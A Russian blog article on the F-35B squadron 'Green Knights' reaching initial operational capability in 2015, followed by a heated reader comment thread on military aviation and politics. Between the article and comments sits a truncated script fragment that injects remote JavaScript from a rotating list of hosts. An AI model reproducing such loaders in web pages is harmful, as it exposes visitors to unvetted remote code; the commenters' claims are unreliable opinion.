F-35 "Лайтнинг II" заступил на службу
31 июля 2015 года приказом коменданта Корпуса морской пехоты США 121-я ударная эскадрилья «Зеленые рыцари» была объявлена достигшей начальной оперативной готовности. Это первая авиачасть на самолетах F-35, получившая такой статус. После двух десятилетий разработки детище крупнейшей военной программы в истории заступает на службу.
Детство. Отрочество. Юность
F-35 — детище программы JSF (Joint Strike Fighter — «Единый ударный истребитель»), и это сокращение до сих пор иногда используется как имя собственное для самолета. То, что мы знаем как JSF, имеет свои корни в целом ряде программ ВВС, ВМС и КМП США второй половины 80-х — начала 90-х годов. В августе 1995 года на основе программы JAST (Joint Advanced Strike Technology — «Технология единого продвинутого ударного истребителя»), постепенно вобравшей все «индивидуальные» программы родов войск, была запущена JSF. Цель была крайне амбициозной: впервые в истории военного авиастроения создать на общей платформе с максимально возможной унификацией сразу три самолета разного типа базирования — обычное, аэродромное; палубное, для авианосцев с катапультами; и, наконец, вариант с укороченным взлетом и вертикальной посадкой — для коротких экспедиционных аэродромов и десантных кораблей.
Корпус морской пехоты остро нуждается в замене для своих AV-8B «Харриер II» и F/A-18C/D «Хорнет». Если вторые еще можно заменить новыми истребителями палубного базирования, аналогичными флотским «Суперхорнетам», то самолет с укороченным взлетом взять просто неоткуда. Флоту давно необходим малозаметный ударный самолет «первого дня». А в ВВС все еще проще — если к тому моменту, как «начнет сыпаться» флот F-16, основная масса которых построена в конце 70-80-х, в серии не будет массового однодвигательного истребителя, ситуация станет катастрофической.
Требовался и экспортный продукт — тяжелый и дорогой F-22 был изначально вещью очень нишевой (даже если бы его допустили на экспорт, чего, как нам сейчас известно, не случилось). Широчайшая международная кооперация предусматривалась с самого начала программы. Еще на ранней стадии, в 1995 году, к ней официально присоединилась Великобритания, тоже нуждавшаяся в замене «Харриеров». Участие Великобритании было во многом предопределено — она участвовала в совместных с КМП США изысканиях по этой теме еще в 80-х годах, страны объединяли общие потребности и понимание, что в одиночку не потянуть.
В дальнейшем к программе присоединились Австралия, Дания, Италия, Канада, Нидерланды, Норвегия и Турция. Таким образом сформировался клуб из девяти стран, совместно осуществляющих разработку JSF. При этом серьезную роль в этом процессе играют лишь США и Великобритания, однако и другие страны несут расходы на разработку и получат свой «кусок пирога» в виде участия в производстве, гарантирующего стабильные рабочие места и доход на десятилетия. Так, в Италии организован конвейер для финальной сборки истребителей для части европейских партнеров. Подобный подход доказал свою полезность: за все годы ни одна страна не отказалась от своих планов. Затем, уже по линии экспортных продаж, в число заказчиков вошли Израиль, Япония и Южная Корея.

Процессы слияния в аэрокосмической отрасли США привели к тому, что реально за победу в конкурсе JSF боролись две крупные группы, возглавляемые «Боингом» и «Локхид-Мартином». В 2000 году на летные испытания они представили по два самолета-демонстратора технологий: X-32 и X-35 соответственно. Уже в октябре следующего года выбор был официально сделан в пользу машины «Локхид-Мартин».
Первый полет F-35 состоялся через пять лет после победы в конкурсе — 15 декабря 2006 года. Начался долгий период летных испытаний и доводки самолета, продолжающийся до сих пор. Количество связанных с ним скандалов, критики в СМИ, в правительственных, военных кругах и экспертном сообществе не имеет себе равных в военном авиастроении. Простое перечисление тем негативных комментариев заняло бы объем примерно двух таких статей.
F-35, несомненно, обладает рядом детских болезней и слабых мест: например, нашлемная система индикации, переносная система диагностики, регулярные задержки с тестированием большого объема программного кода и так далее, — что естественно для подобной программы. При этом в истории испытаний и освоения F-35 есть и положительные моменты. Так, изначальная конструкция не потребовала кардинальных изменений. Весьма впечатляющим для новой машины выглядит и то, что сотни летчиков налетали более 36 тысяч часов, но ни один самолет не был потерян в аварии или катастрофе, а самым серьезным происшествием был пожар двигателя на земле.
Наиболее справедливая критика затрагивает вопросы сроков и цены. Причем вопрос со значительным удорожанием по сравнению с ранними обещаниями особенно интересен, ведь на ранней стадии JSF цена «сухопутного» варианта оценивалась в 28 миллионов долларов. Чтобы продемонстрировать читателям, не интересующимся стоимостью современной авиатехники, насколько это фантастически мало для западного истребителя пятого поколения, приведем наглядный пример: сейчас в этом диапазоне находится цена двигателя для F-35 (для F-35B — дороже, для F-35A/C — дешевле). Примерно столько же стоит китайский истребитель JF-17 — вероятно, самый дешевый сегодня истребитель новой постройки.
F-35B эскадрильи «Зеленые рыцари»
Что же могло заставить Пентагон и Конгресс двадцать лет назад поверить, что набитый сложнейшим БРЭО малозаметный истребитель пятого поколения, производимый странами с очень недешевой рабочей силой, будет стоить так мало? Отметая варианты с глупостью и наивностью, приходим к своеобразной «хорошей мине при плохой игре». В условиях середины 90-х, когда мощь Америки казалась абсолютно несокрушимой, для того, чтобы у налогоплательщика не возникло лишних вопросов по поводу закупок многих сотен истребителей, авиастроительные корпорации согласились на явно невозможную цену, а государственные чиновники сделали вид, что поверили им. В данный момент (на восьмой партии малосерийного производства) цена F-35A находится в районе 108 миллионов долларов. Для сравнения: цена F/A-18E/F в 2013-м финансовом году составила около 65 миллионов долларов; F-22A на момент прекращения серийного производства — около 148 миллионов долларов. Таким образом, цену F-35 стоит признать адекватной реальному положению вещей.
После школы — в армию
К концу июля 2015 года заказчикам было передано 142 единицы F-35, в их числе 14 прототипов (System Development and Demonstration) и 128 самолетов, выпущенных в ходе мелкосерийного производства (Low Rate Initial Production). Больше всего выпущено «сухопутных» F-35A — 74 единицы, F-35B с укороченным взлетом — 46 единиц, палубных F-35C — 22 единицы. Подавляющее большинство машин построено для вооруженных сил США, из стран-партнеров первые самолеты получили Великобритания (три F-35B), Австралия (два F-35A) и Нидерланды (два F-35A).
Официально текущее производство называется малосерийным, но количество выпущенных F-35 уже приближается к числу произведенных ранее F-22A (195 единиц — 187 серийных и 8 прототипов), а темпы изготовления (более 30 в год) — одни из самых высоких среди выпускаемых в данный момент истребителей.
Испытания ведутся в первую очередь на прототипах. Основная часть авиапарка решает задачу массового переобучения многочисленного летного и наземного персонала. Для этой цели активно насыщаются техникой крупные учебные центры — ВВС на авиабазе Люк, КМП на базе Бофорт и объединенный межвидовой учебный центр на авиабазе Эглин.
F-35B на палубе десантного корабля
Особняком стоит база КМП в Юме. Авиабаза в Техасе была выбрана для перевооружения первой строевой эскадрильи вооруженных сил США на новый истребитель. Для этой почетной миссии была выбрана 121-я ударная эскадрилья «Зеленые рыцари», до 2012 года летавшая на F/A-18D «Хорнет». Показательно, что первой начальную боеготовность решили объявить в КМП, несмотря на то, что именно F-35B является наиболее сложной модификацией из всех трех и с ней было связано наибольшее число проблем во время разработки. Это служит еще одним свидетельством тяжелой ситуации с авиапарком морской пехоты.
Начальная боеготовность недаром называется начальной: пока самолет имеет крайне ограниченные возможности. Достигается боеготовность конкретным подразделением и не отражает готовность всего авиапарка. Для объявления начальной боеготовности 121-я эскадрилья была укомплектована десятью истребителями комплектации Block 2B, авиабазу оснастили тренажерными комплексами, летный и наземный персонал прошел переобучение, а самолеты приняли участие в учениях морской пехоты, в том числе и на десантном корабле.
Ввиду специфики авиации КМП первоочередной ее задачей является непосредственная поддержка войск. И F-35B для достижения начальной оперативной готовности требовалось уметь оказывать ее хотя бы на базовом уровне. Для этого на самолетах реализована возможность применять из внутреннего отсека вооружения корректируемых авиабомб GBU-12 (227 килограммов, с лазерным наведением) и GBU-32 (454 килограмма, со спутниковым наведением). Для борьбы с воздушными целями в арсенале присутствует ракета средней дальности AIM-120C, также на внутренней подвеске. То, что на данный момент отсутствует возможность использовать для вооружения подкрыльевые пилоны, значительно ограничивает возможности самолета: боекомплект сводится к двум корректируемым авиабомбам и паре ракет AIM-120С. Впрочем, «пара бомб и пара ракет» — это, пожалуй, наиболее распространенная боевая нагрузка в асимметричных локальных конфликтах современности. Разумеется, возможности БРЭО на данный момент тоже ограничены.
В целом можно заключить, что F-35B если и обладает сейчас способностью принимать участие в боевых действиях, то исключительно в наиболее простых условиях.
Планы на будущее.
Достижение нового статуса в первую очередь открывает дорогу к полноценной эксплуатации и освоению в войсках. Для КМП особую важность представляет высокая мобильность и способность к базированию за рубежом и на десантных кораблях. 121-я эскадрилья начала подготовку к первой зарубежной командировке F-35: в 2017 году она будет развернута в Японии, тогда же F-35 впервые войдут в штатный состав авиагруппы универсального десантного корабля.
На очереди перевооружение других строевых эскадрилий КМП. В следующем году новые машины начнет получать 211-я ударная эскадрилья, которая достигнет начальной боеготовности в 2018 году. В том же году начнет перевооружение 122-я эскадрилья, а в 2020 — 115-я и 311-я.
F-35B в полете
F-35B должны полностью заменить «Харриеры II» к 2026 году. В 2030 году планируется списание «Хорнетов», а в 2031 году КМП получат последние из планируемых к заказу 420 истребителей. Кроме 353 единиц F-35B морская пехота планирует закупить 67 единиц F-35С, которые будут базироваться на авианосцах флота, — подобно нынешним «Хорнетам».
Основное внимание в ближайшее время будет приковано к военно-воздушным силам. Осенью этого года 34-я истребительная эскадрилья 338-го истребительного крыла, расположенного на авиабазе Хилл (штат Юта), начнет получать первые машины, с которыми должна будет в августе следующего года достичь начальной боеготовности. Самолеты ВВС будут иметь уровень развития Block 3I, со сходными с Block 2B возможностями, — при несколько усовершенствованной аппаратной части программное обеспечение у этих версий близко.
F-35B
В ходе доработки, уже после начала службы, самолеты будут модернизироваться. Кардинальное увеличение возможностей ожидается на версии Block 3F: станет возможно применение вооружения с внешних подвесок, использование пушки как во встроенном (F-35A), так и контейнерном (F-35B/C) исполнении, ракет AIM-9X (используются только на внешней подвеске) и т.д. Начало внедрения Block 3F ожидается с 2017 года. Однако более сложные системы вооружения — например, малогабаритные бомбы семейства SDB и противокорабельные ракеты JSM — станут доступны только после 2020 года на версиях Block 4 и далее.
Можно с уверенностью сказать, что боевой «дебют» F-35 вряд ли состоится до 2020 года. Однако в первые годы следующего десятилетия он весьма вероятен, так как части морской пехоты первой линии, в частности, размещаемые на универсальных десантных кораблях (роль которых в условиях нехватки атомных авианосцев только растет) будут по большей части перевооружены с «Харриеров» на F-35B.
--------
Н.П. Можно до ящика коньяку спорить - хорошая ли получилась машина и надо ли истребителям 4++ хавацца у бульбу. Но мне больше всего нравится то, что это - международный проект. Сумели американцы привлечь многих к его финансированию и сбыту.

Как в 60-е годы европейцы объединились и сделали ИБ Ягуар.

Торнадо (70-е)

истребитель Тайфун (90-е)
![]()
военный транспортник А-400 (наше время)
СССР и Россия так не согли привлечь партнеров.

Транспортник Ан-70 не смогли с Украиной закончить.
<script type="text/javascript">// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("maxpark.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]></script>
Комментарии
Правда, боевой радиус маловат.
А вот то, что пакет заказов уже собрали из более десятка стран на 3150 машин - круто
Это же палубный, потому несколько иные характеристики... но - класс!
две с половиной тыщи сами амеры хотят для себя сделать))
Точнее не хотят ещё, а просто вбросилу инфу, типа у них что-то есть такое, чего у других нет))
Но народ уже понял что это дерьмо, и массово отказывается.
Это простой факт.
Это гроб... который окончательно похоронит авиацию нато.
А откуда уверенность черпаешь ?
Наш ЯК-38 взлетал вертикально, поэтому от крейсера на 50 км отлучаться не мог. Фактически был не прикрытием, а обузой
А какой народ отказался ?
Их конечно могут дожать, но это другой вопрос.
Не удивлюсь, если в той же вики напишут что они в восторге от этой машины...
Израиль в прямом исполнении тоже брать не хочет... сложные переговоры и амеры согласились на их условия...
А цифра в две с половиной тысячи типа заказ, это всего лишь цифра в той же вики...
Нет сейчас у сша таких денег что бы заказать самолёт в таком количестве.
Остальные цифры по странам от лукавого... подтверждённых заказов практически нет.
Германия не хочет, но на них давят... и остальные так же, конечно за исключением британии.
Но тут всё понятно, и я не буду расписывать почему так.
А так не хочется!
Кстати, не пишите про международный проект...
Это не международный проект....
Амерам конечно хотелось бы что бы было так, и всех на иглу посадить, но это проект амеровский, там есть только совсем чуточку от ролс ройса, да и то только в одной из предполагаемых модификаций.
Дальность конечно от этого зависела...
Но не забывайте, это не истребитель!
Это штурмовик, который мог атаковать как наземные цели, так надводные и подводные, и радиус боевого действия на тот время(восьмидесятые) в 500 км вполне всех устраивал.
Хотя я не фанат этой машины.... но тем не менее нельзя принижать вот так непрофессионально её достоинства и преимущества.
и я не буду расписывать почему так
-----------------------
Славянка пишет о себе в мужском роде. Класс!!
Сколько в Ольгино за пост платят?
Я пишу с точки зрения инженера, имея авиационное образование.
Посмотри профиль а потом чушь на страницы сайта... ок?
Я критикую как проект. Страна потратила море денег. Уж проще было приспособить МИГ-23 или МИ-17.
"На глазах Шестого флота США прошли совместные полеты пяти Як-38 с обоих кораблей. Маршрут "Минска" пролегал вдоль западного побережья Африки, огибал мыс Горн и продолжался на просторах Индийского океана, т. е. добрая половина пути пролегала через тропики - это были первые испытания Як-38 в условиях повышенной температуры и влажности воздуха. Результаты оказались разочаровывающими: практически сразу после входа в зону тропиков подъемные двигатели" самолетов перестали запускаться" - это из эйрвара. Зачем авианосцу самолет, который в тропиках не летает ?
И еще. Там есть статистика по "Киеву" - 45 полетов при налете 22 часа.
Взлетать с коротким взлетом он стал только с 1983 г. Только после переделки сопел, как и у Харриера.
У него радиус 250 км. Но я уже говорил, что морской воздух особый, особенно теплый. Потому он и заслужил море критики.
У Харриера боевой радиус 1200 км
Одни захотели авианосцы. Яковлев подкинул идею СВВП. Он умел модничать и проталкивать. Самолет новый. Вложили много денег и мозгов и при появлении авианесущих крейсеров выбирать уже не было из чего. А в тропиках он не мог летать вообще
Пакет заказов - из Вики. Эти статьи пишут такие же энтузиасты, как вы и я. Допускаю, что может пересмотреться.
Про ЯК-38 вы спутали боевую дальность и радиус.
Вы же все там трусы, иного мнения боитесь. Даже самого легонького, интеллигентного.
Про "я не буду расписывать...".
В США нет таких денег ? А каких ?
Впрочем, вы правы. Это не полностью межд проект
Но мы про это не будем...
Расписывать почему британия идёт в фарватере политики сша глупо...
Согласны?
Стоимость самолёта определяется не ценой завода изготовителя....
Не знали?
У F - 35 куча изъянов и недоработок... фактически эта машина не может летать под управлением пилота, работает автоматика, и малейший сбой. всё... кранты, и пилоту и машине.
Понимая такую ситуацию, партнёры сша не очень то желают этот самолёт... да и самолётом назвать трудно... сырая и концепция не ах...
Вы должны понять простое, F-35 это попытка сделать таким же успешным как F - 16.
Именно на эту нишу и рассчитывали... но получился дорогущий, причём непомерно дорогущий летающий гроб...
Это все видят, но назад хода нет...
Тут больше дело престижа... амеры ни за что не признают что проект провальный.
А знаешь, чихала я на тебя... блокируй.
А я тебя, везде где свой поганый нос высунешь.
Договорились?
Был проект... идея тупиковая... вертикальный взлёт не перспективно да и не нужно...
Поэтому там выше я написала что не являюсь фанатом этой модели.
Харриер тоже так себе... и кстати, зачем вы вечно прибавляете западным и отнимаете у наших?
Радиус харриера 348 км., всего ... какие тысячи? Где вы это нашли?
Сравнивать надо по годам , аналоги...да и не аналоги это, у нас штурмовик, а харриер истребитель -бомбардировщик.
Мне проект интересен. Вам, уж извините, не верю. Но спорить готов
Хотя конечно будем наблюдать и анализировать, как успехи, так и грядущие катастрофы.
Какие ссылки?
Я сюда прихожу не ссылками на чужое мнение ссылаться...
Зачем мне это?
Я кандидат наук, в сфере авиации между прочим.
На меня ссылки дают, многие, когда дипломы пишут.
---------------
Славянка, а зачем, действительно, приходить в Маскспарк якобы кандидату наук (допустим) и оппонировать преимущественно ссылками на Википедию ?
Вы и кандидатскую на основе Вики писали ?
Странный уровень...
Прощевайте однако. Нам здесь нацистки не нужны. Когда станете русской, оповестите.
А вы в профиле свой вуз не указали.
Кроме того, в топике о Курской дуге вы говорили, что работаете в музее. Хотя мог и понять неправильно.
Уж если назвали себя авиатором, то и специальность, и тему диссертации, пожалуйста.
Ок ?
https://ru.wikipedia.org/wiki/BAE_Harrier_II
General Dynamics вообще вышли, продав им разработки.
На фото X-32 Joint Strike Fighter (JSF) "Боинга".
-------------------------------------
А вообще, как-то год назад здесь публиковал невесёлый материал о том, откуда некоторые возможности так быстро появились у этой машины... Дело довольно известное, но непопулярное, причём ни у условных "патриотов" ни у "либерастов" :))
http://maxpark.com/user/2726231908/content/3005478
Выглядят как игрушки, действительно. Особенно боинговский. И посадка с открытой решеткой у действующего непривычна.
Что интересно. Американцы почему-то недолюбливали наплывы в аэродинамике. Но стелсы по этой схеме. Особенно
Думаю, Костя, ты согласишься, что СССР зря потратил деньги на ЯК-38. Как боевой морской истребитель он не тянет. Малая нагрузка и радиус.
Частично эти недостатки и у ЯК-141. Да и сама схема, когда везешь постоянно груз в два неработающих движка - изначально ущербна. Боевой радиус и время полета (менее 1,5 часа) - это для каких целей ?
Да. Это достижение. Но авианосцу нужен настоящий истребитель и ИБ. К чему сверхзвук для боевого радиуса в 500 км. ?
Кстати, Костя. И мировым рекордам тем особого значения придавать не стоит = это ведь рекорды своего класса. А в этом классе он был один
Можешь назвать, сколько % установлены на не таких "который один в своём классе" ???
Это вообще пустой разговор.
Потому что Як-38 не был выкинутыми деньгами. А состоял и решал свои вопросы.
По крайней мере, он не был "Валькирией" или ещё тучей проектов, бывших реально выкинутыми на ветер деньгами.
--------------------
А вот что модуль изменения вектора тяги со 141-го был по приказу ЕБНа передан американцам, и сэкономил им немало времени в разработке F-35 -- об этом многим хорошо и давно известно, из числе тех кто в курсе откуда что произрастает. Да никто и тайны не делал -- представители разработчика сами хвалились в своё время, в открытой печати.
ВВС от него отказалось , хотя и для них были готовы разработки передвижных платформ , как ЖД , так и автомобильные. А ВМФ отказатся не могло , так как корабли уже сошли со стапелей и на них что то надо было сажать ...!!!
Это из авиафорума.
Есть фильм Крылья России и Красные звезды. Критика одинакова - негоден для жаркого климата.
Не хочется спорить о использовании разработки Яковлева. Может быть. Ну и что - без этого механизма не появился бы ?
Я не идеализирую F-35. Время покажет. Но страну, реализовавшую проекты F-22 и международнгый проект F-35 нельзя не уважать
Если речь о ЯК-141, то он попадает в категорию самолетов с ВВП
http://dic.academic.ru/dic.nsf/enc_tech/3282/%D0%A0%D0%B5%D0%BA%D0%BE%D1%80%D0%B4%D1%8B
Согласись, что там только он, ЯК-38 и Харриер, начавший летать в 1970 г.
Они расскажут куда лучше.
Идеализировать вообще дело пустое.
Авиация такого класса -- очень серьёзный хайтек. Позволить себе могут далеко не все.
Впрочем, всем и не нужно.
Просто о том, что многие рекорды в истории авиации ставились специальной разработки, высокоспециализированными либо специально доработанными серийными аппаратами.
Мировой рекорд это всегда было делом политическим, в особенности между войнами.
Или часто машинами, вышедшими далеко вперёд на какое-то время, в силу разных обстоятельств. Как и в случае "Харриера" и Як-141, SR-71 и многими другими.
Но к тому времени изменилась концепция. Для судов выбрали корабельные версии фронтовых истребителей. А ЯК-141-й делали изначально не для судов, а для сухопутного взлета вместо строительства аэродромов
Комментарий удален модератором
Явно бомбер. Ног такая схема у нас не применялась в серии. Немцы использовали.
Явно год 1935-37. Нашего такого не помню. Сдаюсь
Очень интересная машина, редкая. У итальянцев очень много было бомберов и транспортов именно этой схемы, в тот период.
Piaggio P.23R, насчёт года ты установил точно 1937-й. Аппарат сохранил некоторое сходство с базовой моделью Р.23. На самом деле -- совершенно новая конструкция. Установил 30 декабря 1938 года новые мировые рекорды, перебросив полезную нагрузку в 5000 килограмм на расстояния 1000 километров и пролетев 2000 километров со средней скоростью 404 км/час. В целях дезинформирования противника некоторое время самолет выдавался за стратегический бомбардировщик Р.123, способный наносить удары по Парижу и Лондону.
"R" понятно что такое.
Посмотрел на эйрваре.До этого только их истребителями интересовался.
Да, итальянцы были сильной авиастраной.
Три двигателя - потому что мощности двух не хватало. Как у Ю-52. У нас были модели, где первоначально ставили три, потом - два.
Поражает легкость, с какой устанавливали-убирали двигатель на носу. Это ведь коммуникации, центровка и пр.
Выглядит машина аэродинамично.
Они строили и Р-16, и Р-50 и четырехмоторную крепость даже.
Знаешь что поражает в Италии-30-х-40-х ? Развитая промышленность. Воинственная политика. И полное отсутствие желания воевать
Самолеты делали хорошие, а вот танки - только легкие. Интересно - почему ?
У них средние это считай что у других лёгкие -- такая особенность.
Сейчас найду для тебя один интересный справочник 1936 года, сфоткаю оттуда. Давно уже отстали от меня те, кто просил эту книжку продать, за неплохие деньги, как немалый раритет.
А маразматики из Тулды-бабайкургана пусть идут википедию осваивать :)) им в самый раз.
http://panzer-journal.ru/history/tank_history/italyanskie-tyazhelye-i-srednie-tanki.html
Никак не пойму, почему и немцы, и эти так любили пушку-обрубок в начале войны.
Оказывается, и итальянцы к концу войны сделали классные танки. Последний с 90 мм орудием - уже был бы конкурентен.
Такие у всех были. И после тоже.
По-настоящему хорошим аппарат делают двигатель и аппаратура.
У всех "вторых", тогда догонявших стран -- своих современных моторов не было. Ни у Союза, ни у Японии, ни у Италии и пр. и пр. Так же и у них.
Получив немецкие моторы, они дали истребители в с е х своих фирм-производителей -- во многом л у ч ш е, чем немцы строили в крупных сериях с теми же движками.
Аэродинамическая шкала у них в целом была лучше немецкой, на мой взгляд. Технологически - отставали. По приборам и аппаратуре тоже.
Тот кто считает что бомбер бомба и прицел -- это просто престарелый осёл.
- либо занимаетесь реальной модерацией,
- либо теряете нормальных людей, которые просто не станут заходить на темы сообщества, кто бы их не приглашал.
К тому что если человек считает что Россия напала на Украину я должен( обязан?) считать его платным агентом Госдепа... равно как и наоборот, говорящие: "Россия превыше всего"- наймит Кремля?.. никогда так не считаю.. возможно наивно, но это так.
К тому же не знаю кто уходит-приходит, но за два года в довольно узкой "белорусской "теме нас стало вдвое больше! Так что пусть приходят и уходят все кто желает. двери открыты.
"Президент общества налогоплательщиков США Александр Райан (Ryan Alexander) в интервью порталу sputniknews заявил, что бессмысленно тратить деньги на истребитель пятого поколения F-35. «Думаю, что разумно отказаться от F-35. У нас есть достаточно доказательств того, что этот истребитель компании Lockheed Martin является непозволительно дорогой системой вооружения, у которой имеются более дешевые альтернативы», — сказал Райан."
http://svpressa.ru/post/article/112769/
Посмотрим, как справится РФ с ПАК-ФА.
В статье на топваре критикуется стелс-технология в целом. Однако, хоть европейцы в своем истребителе и не пошли за стелс, именно россияне и китайцы его разрабатывают. Почему ? Оставались бы с семейством СУ 4++, раз они такие ура ?
Чем объясните ?
Ну и по поводу слов австралийского депутата из секретного доклада - надо источники понадежнее. Если некоторых русских депутатов послушать, то все больше нравятся собаки
По факту - мочат как утят....
Про стоимость - уже ясно, со стелс-технологией тоже пролёт... Прорывных решений не было, даже поворот движка у нас содрали. А скорость? 1.6 М на форсаже, а без форсажа?
Короче, поколение 4++, не выше. Но за очень приличные бабки.
Вот отчего ты просто ляпаешь языком, НЕ понимая в теме??!
Тебе мама не говорила, что тупо - переходить на личности, когда нет ответа по сути?
Так я скажу.
кста,
1. в Афгане НЕ Штаты, а - ООН.
2. они задачу практически выполнили, в отличие от....
3. за тот же срок они уничтожили 30-40 тыс, талибов практически.
наши - ПОЛТОРА МИЛЛИОНА!!!! в основном мирных.
А как натыкаешь, и мне ссылочку..))
п.с. про ООН и 40 стран вопрос отпал?
п.п.с. и ты себя плюсовать стал??!!! гыгы.
в период с начала операции в 2001 году до середины сентября 2011 года, потери боевиков составили 15-20 тыс. человек
Ноябрь 2013: по информации ООН, в течение 2013 года потери Талибана составили 10—12 тысяч человек
п.с. Сема опять о больном - о жёпе? Бедняжка..)
разве что дыюыл Сема забрел...а еще хто?
Да мне не жаль, балуйся..))
Прием жырного тролля - перескакивать в темах.
Мне есть что сказать, лениво только. Один хрен ты не поймешь. Сам почитай - почему увеличение.
Одно замечу, что всплеск наркомании у нас - начало Афганской войны. Самолетами возили армейскими - транзит в Европу. Ну и у нас оседало, деньги же не пахнут... особенно для гэбни твоей любимой.
Читай, дитё, по теме..))
бывай, неуч.)
так что насчет дитя как бы не стоит....
=Международные силы содействия безопасности (англ. ISAF) были созданы в соответствии с резолюцией № 1386 Совета Безопасности ООН от 20 декабря 2001 года. =
С августа 2003 года командование ISAF осуществляется блоком НАТО. В состав ISAF вошли 48 стран
К примеру, у американцев уже лет 10 на F-16, 18, 15 стоит РЛС с АФАР. А в России она для ПАКа только доводится. А это возможности обнаружения целей.
А на Ближнем Востоке прохладно ?
А в Аляске жара ?
2. У противника тоже не 4 поколение - машины соответствовали классу.
Честно говоря, я сам не понимаю - зачем нужна крейсерская сверхзвуковая. Но ведь Россия и Китай идут той же дорогой. Почему ? Ошибка ?
Это одна платформа. А для ВВС-ВМФ-КМП начинка разная. Точно так же и МИГ-29 и СУ-27. Так теперь принято.
Еще раз, Александр. Я акцентировал внимание, что их проект, пусть и с учетом дороговизны и критики, завершен. Подскажите - какие удачные проекты подобного рода в РФ завершены ?
Сколько тянулось с МИ-28 и КА-50 ? С СУ-34 ? Со сталс-проектами ?
https://www.youtube.com/watch?v=3JSL6eBo3iA
И про наркотики ты горячишься.
Талибан убивал за мак. Поэтому и не было трафика.
А ни СССР, ни США с коалицией не ставили цели борьбы с природными плантациями. Просто при СССР в Афгане местная власть немного сдерживала. А сейчас - увы
Дороговато, Костя.
---------
Нет сомнения, что Амин, который имел честь целоваться с Брежневым, мальчик нехороший.
А Брежнев, замочивший Амина и еще 300 солдат, детей, женщин и одного советского врача вместе с ним - гуманист ?
Почему они не хотят соревноваться с русскими ?
Полагаю, что и я, и ты - жертвы русского инета. Как на самом деле - неизвестно
С учётом ТБ "реальность" авиашоу менее адекватна, чем виртуальное моделирование.
---------------------
Су-35 - честный 4++, F-35 не прорыв и не 5. Тчк.
----------------------
А про проекты...
США на своём пике не смогло выдать реальный мощный проект: заказ на 3000 шт. - ля-ля, самолёт - дорогая неудашка.
РФ после огромного спада-распада, лишь в начале подъёма... Поживём - увидим.
---------------------
Вопрос о высокой крейсерской скорости интересен. Я не спец, но... "Заточка" самолёта к основной работе на высоких скоростях заставляет ВСЁ в разработке ориентироваться на эти скорости. Вот и подтягивают КС к аэродинамике рабочих скоростей. Как гипотеза?
А разве крашенинников перестал нравиться? Ну тогда послушаем Псаки или Юльку Латынину.
У меня зять программирует симуляторы, все проблемы я знаю.
Пример - как евреи наголову размочалили Сирию, Египет (с нашим оружием).
Ты про реальность? Я - дал пример.
Я и не хвалю F-35. Просто проект полностью реализован. Еще 2 года назад 150 машин поступило на войсковые испытания в корпус морской пехоты. И только теперь официально заступили на дежурство.
Назовешь законченные российские подобные проекты ?
Но лучше все же, что бы не воевали
F-16 - самый распространенный в мире истребитель . Более 4500
Во-первых, открыто. Все появляющиеся недочеты отражались в прессае. Особенно российской.
Во-вторых, как международный проект. И инвестиции вложили многие страны, и закупят пока 1 тыс. самолетов не американцы.
В-третьих. Это проект "дешевого" универсального истребителя в дополнение к тяжелому F-22. Тоже хотели сэкономить. Сравнительно, конечно
Только немецкие реактивные истребители были способны воевать с Американскими бомбардировщиками, но их было мизер, а американцы вообще не стали до конца войны форсировать запуск в боевую серию реактивной авиации резонно считая, что и свей поршневой вполне справятся.
Американцы изначально создавали истребители сопровождения. Они уступали в вертикальной маневренности и нашим, и немцам (кроме Аэрокобры). Я бы вместе поставил Мустанг, Ме-109 предпоследней модификации, Фокке-Вульф, Спитфайр, ЯК-3 (только как подскок) и ЛА-7.
Оставить Квантунскую армию Сталину - очень выгодно американцам. Не надо открывать новый фронт, причем сухопутный.
Но и Сталин не хотел пускать американцев в Китай.
И было это уже не та армия.
Это я к тому, что преувеличивать недельное участие СССР там не стоит.
Квантунская армия к тому времени была уже сборищем "белобилетников" и по сути мальчишек не имеющих ни боевого опыта ни желания воевать. Да и вооружена она была практически хламом.Всё что имело хоть какую то боевую ценность было брошено на войну против США,уже высадившихся на территории Империи.
И учтите, что США имея колоссальную военную мощь, прежде всего во флоте( японского после весны 1945 года практически не существовало!) и авиации,совершенно не нуждались в "помощниках",- СССР сам очень желал влезть в драку ибо не хотел пускать в Китай американцев.
Чем хорош-то ? Скорость ?
"Хеллкет" и "Биркет" вполне маневренные машины. Не "Зеро" и "Хаябуса" конечно.
Вообще, это дело тактики.
А если бы прижали назвать один истребитель, то да - Это AD-190 F.
Все же ЯК-3 и ЛА-7 поздние. Мустанг, Тандерболт, P-38 - сопровождение. Морские не в счет. Зеро - это школа аэродинамики похлеще ЯК-3, но без брони и протектированных баков.
Сптитфайр прекрасен во всех марках. Но внешний вид ФВ-190 - хищник. И автомат управления, и броня - это новое для истребителя.
Просто немцы, как и Ка, совершили немало ошибок в построении военной техники. Ме-110, к примеру. Могли вместо него сразу выпускать ФВ-190.
А последние британские истребители Торнадо и Темпест имели тоже превосходные данные.
Я против того, что бы ЯК-3 называть лучшим - он воевал уже не с асами, а с школярами. М узкий по функциям
А уж Bf 109G-6 гондолами пушек МК 108 это уже тоже болид. Только против строёв. Крен очень слабый. Против них "фоккер" это ласточка. Но не 190 F. Это же штурмовики были и Jabo.
110-й мощная машина, но не для маневренного боя конечно.
